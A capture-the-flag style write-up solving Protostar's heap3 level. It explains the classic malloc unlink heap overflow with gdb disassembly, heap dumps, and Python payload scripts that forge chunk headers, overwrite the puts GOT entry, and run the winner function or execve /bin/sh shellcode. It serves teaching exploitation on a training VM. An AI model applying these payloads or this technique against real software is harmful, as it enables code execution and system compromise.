This level introduces us to a very old heap unlink vulnerability where one can exploit the malloc’s way of unlinking free heap chunks and gain code execution by overwriting arbitrary memory locations on the heap. If you have no idea on what heap or heap chunks means, you can have a look at my previous article here.

Downloads

The VM used in this article can be downloaded here

Note

The scope of this challenge is to execute the winner function, but we will also be leveraging its code execution to understand how different free() calls can overwrite the data on heap chunks and thus corrupt your shellcode. The objective of this level is to execute the winner function. Let’s have a look at the disassembly of this binary. Before diving directly into the inner working of the malloc free algorithm, let’s first understand the operation of the application by going through its disassembly. By looking at the disassembled code, we can understand that it allocates some memory on the heap and stores the pointer to the memory location in the three variables. It further uses a vulnerable strcpy function to copy data onto those three memory locations and at the end free them in reverse order. Dump of assembler code for function main: 0x08048889 <main+0>: push ebp 0x0804888a <main+1>: mov ebp,esp 0x0804888c <main+3>: and esp,0xfffffff0 0x0804888f <main+6>: sub esp,0x20 ; allocate 32 bytes for the first variable at [esp+0x14] 0x08048892 <main+9>: mov DWORD PTR [esp],0x20 0x08048899 <main+16>: call 0x8048ff2 0x0804889e <main+21>: mov DWORD PTR [esp+0x14],eax ; allocate 32 bytes for the second variable at [esp+0x18] 0x080488a2 <main+25>: mov DWORD PTR [esp],0x20 0x080488a9 <main+32>: call 0x8048ff2 0x080488ae <main+37>: mov DWORD PTR [esp+0x18],eax ; allocate 32 bytes for the third variable at [esp+0x1c] 0x080488b2 <main+41>: mov DWORD PTR [esp],0x20 0x080488b9 <main+48>: call 0x8048ff2 0x080488be <main+53>: mov DWORD PTR [esp+0x1c],eax ; copy userinput to the first variable [esp+0x14] using vulnerable strcpy() call 0x080488c2 <main+57>: mov eax,DWORD PTR [ebp+0xc] 0x080488c5 <main+60>: add eax,0x4 0x080488c8 <main+63>: mov eax,DWORD PTR [eax] 0x080488ca <main+65>: mov DWORD PTR [esp+0x4],eax 0x080488ce <main+69>: mov eax,DWORD PTR [esp+0x14] 0x080488d2 <main+73>: mov DWORD PTR [esp],eax 0x080488d5 <main+76>: call 0x8048750 strcpy@plt ; copy user input to the second variable [esp+0x18] using vulnerable strcpy() call 0x080488da <main+81>: mov eax,DWORD PTR [ebp+0xc] 0x080488dd <main+84>: add eax,0x8 0x080488e0 <main+87>: mov eax,DWORD PTR [eax] 0x080488e2 <main+89>: mov DWORD PTR [esp+0x4],eax 0x080488e6 <main+93>: mov eax,DWORD PTR [esp+0x18] 0x080488ea <main+97>: mov DWORD PTR [esp],eax 0x080488ed <main+100>: call 0x8048750 strcpy@plt ; copy user input to the third variable [esp+0x1c] using vulnerable strcpy() call 0x080488f2 <main+105>: mov eax,DWORD PTR [ebp+0xc] 0x080488f5 <main+108>: add eax,0xc 0x080488f8 <main+111>: mov eax,DWORD PTR [eax] 0x080488fa <main+113>: mov DWORD PTR [esp+0x4],eax 0x080488fe <main+117>: mov eax,DWORD PTR [esp+0x1c] 0x08048902 <main+121>: mov DWORD PTR [esp],eax 0x08048905 <main+124>: call 0x8048750 strcpy@plt ; free memory in reverse of their allocation ; i.e. free the third variable at [esp+0x1c] first 0x0804890a <main+129>: mov eax,DWORD PTR [esp+0x1c] 0x0804890e <main+133>: mov DWORD PTR [esp],eax 0x08048911 <main+136>: call 0x8049824 ; free the second variable at [esp+0x18]
0x08048916 <main+141>: mov eax,DWORD PTR [esp+0x18] 0x0804891a <main+145>: mov DWORD PTR [esp],eax 0x0804891d <main+148>: call 0x8049824 ; free the third variable at [esp+0x14] 0x08048922 <main+153>: mov eax,DWORD PTR [esp+0x14] 0x08048926 <main+157>: mov DWORD PTR [esp],eax 0x08048929 <main+160>: call 0x8049824 0x0804892e <main+165>: mov DWORD PTR [esp],0x804ac27 0x08048935 <main+172>: call 0x8048790 puts@plt 0x0804893a <main+177>: leave 0x0804893b <main+178>: ret End of assembler dump. (gdb) disass winner Dump of assembler code for function winner: 0x08048864 <winner+0>: push ebp 0x08048865 <winner+1>: mov ebp,esp 0x08048867 <winner+3>: sub esp,0x18 0x0804886a <winner+6>: mov DWORD PTR [esp],0x0 0x08048871 <winner+13>: call 0x8048780 time@plt 0x08048876 <winner+18>: mov edx,0x804ac00 0x0804887b <winner+23>: mov DWORD PTR [esp+0x4],eax 0x0804887f <winner+27>: mov DWORD PTR [esp],edx 0x08048882 <winner+30>: call 0x8048760 printf@plt 0x08048887 <winner+35>: leave 0x08048888 <winner+36>: ret End of assembler dump. (gdb) Let’s confirm the same by doing a dynamic analysis and diving into our favorite GNU debugger. As can be seen, we first initialized a breakpoint at first free() call (0x08048911) function calls and passed our input. We further listed down the process mappings to note the starting address of heap memory and examine 60 dwords of it. Notice that each of our inputs is being copied to different heap chunks with dwords, which indicates the following information Breakpoint 1 at 0x8048911: file heap3/heap3.c, line 24. (gdb) r AAAAAAAA BBBBBBBB CCCCCCCC Starting program: /opt/protostar/bin/heap3 AAAAAAAA BBBBBBBB CCCCCCCC Breakpoint 1, 0x08048911 in main (argc=4, argv=0xbffffd54) at heap3/heap3.c:24 24 heap3/heap3.c: No such file or directory. in heap3/heap3.c (gdb) info proc mappings process 1655 cmdline = ‘/opt/protostar/bin/heap3’ cwd = ‘/’ exe = ‘/opt/protostar/bin/heap3’ Mapped address spaces: Start Addr End Addr Size Offset objfile 0x8048000 0x804b000 0x3000 0 /opt/protostar/bin/heap3 0x804b000 0x804c000 0x1000 0x3000 /opt/protostar/bin/heap3 0x804c000 0x804d000 0x1000 0 [heap] 0xb7e96000 0xb7e97000 0x1000 0 0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc–2.11.2.so 0xb7fd5000 0xb7fd6000 0x1000 0x13e000 /lib/libc–2.11.2.so 0xb7fd6000 0xb7fd8000 0x2000 0x13e000 /lib/libc–2.11.2.so 0xb7fd8000 0xb7fd9000 0x1000 0x140000 /lib/libc–2.11.2.so 0xb7fd9000 0xb7fdc000 0x3000 0 0xb7fe0000 0xb7fe2000 0x2000 0 0xb7fe2000 0xb7fe3000 0x1000 0 [vdso] 0xb7fe3000 0xb7ffe000 0x1b000 0 /lib/ld–2.11.2.so 0xb7ffe000 0xb7fff000 0x1000 0x1a000 /lib/ld–2.11.2.so 0xb7fff000 0xb8000000 0x1000 0x1b000 /lib/ld–2.11.2.so 0xbffeb000 0xc0000000 0x15000 0 [stack] (gdb) x/60wx 0x804c000 0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141 0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029 0x804c030: 0x42424242 0x42424242 0x00000000 0x00000000 0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c050: 0x00000000 0x00000029 0x43434343 0x43434343 0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89 0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0c0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0e0: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) By looking at how our input is being laid out on the heap and the use of the strcpy function, we can deduce that we can overwrite heap chunks. Like in our previous article, we used such techniques to overwrite function pointers. However, we can see clearly that there is no function pointer on heap memory that we can use to call the winner function. 0x804c000 0x00000000 0x00000029 0x41414141 0x41414141 In the heap unlink exploit, we are exploiting how malloc free() is implemented and what happens when any unused chunk is removed from heap memory. So, when the free() is called some built-in checks are executed to free that part of memory which includes checking whether its neighboring chunks are free, too. If they are they will be merged and two pointers (fd and bk) are updated at the memory location which was initially returned via malloc call. The consolidation/merging of chunks is done via a forward and backward consolidation process. In backward consolidation, the checks include checking for a prev_inuse bit for the chunk before current chunk, if its free it is merged, and the size of the previous chunk is updated by adding current chunk size, and the current chunk pointer is updated to point to the previous chunk. However, in our case when a first free call is executed, i.e., free([esp+0x1c]) previous chunk ([esp+0x18]) will be in use thus this path of merging malloc won’t follow chunks. In case of consolidating forward, malloc algorithm takes next chunk and checks from its next chunk if the prev_in_use bit is set, if it is it will unlink the chunk. In our case, now attacker’s fake chunk comes to picture where multiple counterfeit chunks trick the malloc in unlinking attackers chunk and writing data to an arbitrary memory location. To get this exploitation technique working in our case, we also need to modify the chunk size so that it will be greater than 80 bytes, as our current chunk size currently falls under the fastbin chunk sizes which are not doubly linked. After that, we can update the forward and backward pointer from that double linked list to write data to an arbitrary memory location. We will refer the above-discussed memory locations as follows: a = DWORD ptr[esp+0x14] b = DWORD ptr[esp+0x18] c = DWORD ptr[esp+0x1c] We will be using strcpy(b,argv[2]) to update the size of chunk at c (0x64+0x1) so that it will be greater than 80 bytes. Here 0x1 is for notifying that previous block is in use. To control forward and backward pointers we need to create another fake chunk without a prev_inuse bit and its size should also be greater than 80 bytes, i.e. (0x00000064) so when a free() is called this chunk gets unlinked with our defined forward and backward pointers. However, the problem here is we cannot pass null bytes as strcpy will terminate the rest of data when it sees null bytes. The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /opt/protostar/bin/heap3 AAAAAAAA python -c “print ‘B’*36+’x65′” CCCCCCCC Breakpoint 1, 0x08048911 in main (argc=4, argv=0xbffffd34) at heap3/heap3.c:24 24 in heap3/heap3.c (gdb) x/60wx 0x804c000 0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141 0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029 0x804c030: 0x42424242 0x42424242 0x42424242 0x42424242 0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242 0x804c050: 0x42424242 0x00000065 0x43434343 0x43434343 0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89 0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0c0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0e0: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) To overcome this, we will be using a negative shifting technique described in Phrack Issue 57 Article 9. That is if we add two large values (0xfffffffc + 0x64 = 100000060) their entire sum won’t fit in 32bit size and thus only 0x00000060 will be written to dword. Thus, overcoming the zero-byte problem. To conclude this, we will be adding new chunk with larger chunk size and pointers to overwrite printf (optimized to PUTS) GOT with pointer to our shellcode. We determined the GOT address of puts function as follows: We created three files named A, B, C with following contents: Dump of assembler code for function puts@plt: 0x08048790 <puts@plt+0>: jmp DWORD PTR ds:0x804b128 0x08048796 <puts@plt+6>: push 0x68 0x0804879b <puts@plt+11>: jmp 0x80486b0 End of assembler dump. (gdb) p 0x804b128–0xc $1 = 134525212 (gdb) x 134525212 0x804b11c <GLOBAL_OFFSET_TABLE+52>: 0x08048766 (gdb) A – Some Junk + shellcode (mov eax, address of winner plt; call eax) B – some junk + 0x65 (To adjust the size of chunk C) C – 0xffffffc 0xffffffc Following screenshot shows the state of heap memory before and after the free() is executed. We can see that the chunk size of C is reduced by 4 bytes (0xffffffc+0x65 = 0x61) in after free section and our fake chunk has the size 0xfffffffc which is (11111111111111111111111111111100) last bit set to zero indicating that prev_inuse bit is not set and thus do merging, overwriting the GOT address of puts with the address of our shellcode. #!/usr/bin/env python print ‘A’*12+‘xB8x64x88x04x08xFFxD0’+‘x90’

filename : b.py

#!/usr/bin/env python print ‘B’*36+‘x65’

filename : c.py

#!/usr/bin/env python import struct def p(addr): return struct.pack(“<I”,addr) print “x90”*92+p(0xfffffffc)*2+p(0x804b11c)+p(0x804c014) Executing exploit outside the GDB. Starting program: /opt/protostar/bin/heap3 python /tmp/a.py python /tmp/b.py python /tmp/c.py Breakpoint 1, 0x08048911 in main (argc=4, argv=0xbffffcc4) at heap3/heap3.c:24 24 heap3/heap3.c: No such file or directory. in heap3/heap3.c (gdb) x/50wx 0x804c000 ; state of heap before the exploit 0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141 0x804c010: 0x41414141 0x048864b8 0x90d0ff08 0x00000000 0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029 0x804c030: 0x42424242 0x42424242 0x42424242 0x42424242 0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242 0x804c050: 0x42424242 0x00000065 0x90909090 0x90909090 0x804c060: 0x90909090 0x90909090 0x90909090 0x90909090 0x804c070: 0x90909090 0x90909090 0x90909090 0x90909090 0x804c080: 0x90909090 0x90909090 0x90909090 0x90909090 0x804c090: 0x90909090 0x90909090 0x90909090 0x90909090 0x804c0a0: 0x90909090 0x90909090 0x90909090 0x90909090 0x804c0b0: 0x90909090 0xfffffffc 0xfffffffc 0x0804b11c 0x804c0c0: 0x0804c014 0x00000000 (gdb) c Continuing. Breakpoint 2, main (argc=4, argv=0xbffffcc4) at heap3/heap3.c:28 28 in heap3/heap3.c (gdb) x/50wx 0x804c000 ; state of heap after the exploit
0x804c000: 0x00000000 0x00000029 0x0804c028 0x41414141 0x804c010: 0x41414141 0x048864b8 0x90d0ff08 0x0804b11c 0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029 0x804c030: 0x00000000 0x42424242 0x42424242 0x42424242 0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242 0x804c050: 0x42424242 0x00000061 0x0804b194 0x0804b194 0x804c060: 0x90909090 0x90909090 0x90909090 0x90909090 0x804c070: 0x90909090 0x90909090 0x90909090 0x90909090 0x804c080: 0x90909090 0x90909090 0x90909090 0x90909090 0x804c090: 0x90909090 0x90909090 0x90909090 0x90909090 0x804c0a0: 0x90909090 0x90909090 0x90909090 0x90909090 0x804c0b0: 0x00000060 0xfffffffc 0xfffffffc 0x0804b11c 0x804c0c0: 0x0804c014 0x00000000 (gdb) c Continuing. that wasn’t too bad now, was it? @ 1503231861 Program received signal SIGSEGV, Segmentation fault. 0x0804c020 in ?? () (gdb)

For code execution, we planned our exploit as follows: A – (mov eax, pointer to shellcode;call eax) B – some junk + shellcode + next chunk size C – some junk + size + pointers Following screenshot shows the state of heap memory before and after the free() call. An observant user may also have noticed that we have placed our JMP Code and shellcode after some bytes. This is because free() will also overwrite the data at a memory location where malloc pointer returns. Thus, we need to place our shellcode at some memory location where it does not get corrupted. #!/usr/bin/env python jmp_addr = “xB8x34xC0x04x08xFFxD0” print ‘A’*12+jmp_addr+‘A’*10

filename : b.py

#!/usr/bin/env python shellcode = “x31xC0x50x92x68x2Fx2Fx73x68x68x2Fx62x69x6Ex87xDCx31xC0xB0x0BxCDx80” block_size = ‘x65’ print “B”*4+shellcode+‘B’*10+block_size

filename : c.py

#!/usr/bin/env python import struct def p(addr): return struct.pack(“<I”,addr) print “C”*92+p(0xfffffffc)*2+p(0x804b11c)+p(0x804c014) The following screenshots show our shellcode being executed, both within and outside the GDB. 0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141 0x804c010: 0x41414141 0x04c034c8 0x41d0ff08 0x41414141 After free() 0x804c000: 0x00000000 0x00000029 0x0804c028 0x41414141 0x804c010: 0x41414141 0x04c034c8 0x41d0ff08 0x0804b11c Starting program: /opt/protostar/bin/heap3 python /tmp/a.py python /tmp/b.py python /tmp/c.py Breakpoint 1, 0x08048911 in main (argc=4, argv=0xbffffcb4) at heap3/heap3.c:24 24 heap3/heap3.c: No such file or directory. in heap3/heap3.c (gdb) x/50wx 0x804c000 0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141 0x804c010: 0x41414141 0x04c034b8 0x41d0ff08 0x41414141 0x804c020: 0x41414141 0x00000041 0x00000000 0x00000029 0x804c030: 0x42424242 0x9250c031 0x732f2f68 0x622f6868 0x804c040: 0xdc876e69 0x0bb0c031 0x424280cd 0x42424242 0x804c050: 0x42424242 0x00000065 0x43434343 0x43434343 0x804c060: 0x43434343 0x43434343 0x43434343 0x43434343 0x804c070: 0x43434343 0x43434343 0x43434343 0x43434343 0x804c080: 0x43434343 0x43434343 0x43434343 0x43434343 0x804c090: 0x43434343 0x43434343 0x43434343 0x43434343 0x804c0a0: 0x43434343 0x43434343 0x43434343 0x43434343 0x804c0b0: 0x43434343 0xfffffffc 0xfffffffc 0x0804b11c 0x804c0c0: 0x0804c014 0x00000000 (gdb) c Continuing. Breakpoint 2, main (argc=4, argv=0xbffffcb4) at heap3/heap3.c:28 28 in heap3/heap3.c (gdb) x/50wx 0x804c000 0x804c000: 0x00000000 0x00000029 0x0804c028 0x41414141 0x804c010: 0x41414141 0x04c034b8 0x41d0ff08 0x0804b11c 0x804c020: 0x41414141 0x00000041 0x00000000 0x00000029 0x804c030: 0x00000000 0x9250c031 0x732f2f68 0x622f6868 0x804c040: 0xdc876e69 0x0bb0c031 0x424280cd 0x42424242 0x804c050: 0x42424242 0x00000061 0x0804b194 0x0804b194 0x804c060: 0x43434343 0x43434343 0x43434343 0x43434343 0x804c070: 0x43434343 0x43434343 0x43434343 0x43434343 0x804c080: 0x43434343 0x43434343 0x43434343 0x43434343 0x804c090: 0x43434343 0x43434343 0x43434343 0x43434343 0x804c0a0: 0x43434343 0x43434343 0x43434343 0x43434343 0x804c0b0: 0x00000060 0xfffffffc 0xfffffffc 0x0804b11c 0x804c0c0: 0x0804c014 0x00000000 (gdb) x/10i 0x804c034 0x804c034: xor eax,eax 0x804c036: push eax 0x804c037: xchg edx,eax 0x804c038: push 0x68732f2f 0x804c03d: push 0x6e69622f 0x804c042: xchg esp,ebx 0x804c044: xor eax,eax 0x804c046: mov al,0xb 0x804c048: int 0x80 0x804c04a: inc edx (gdb)

https://www.youtube.com/watch?v=HWhzH–89UQ https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/ http://phrack.org/issues/57/9.html https://sploitfun.wordpress.com/2015/02/26/heap-overflow-using-unlink/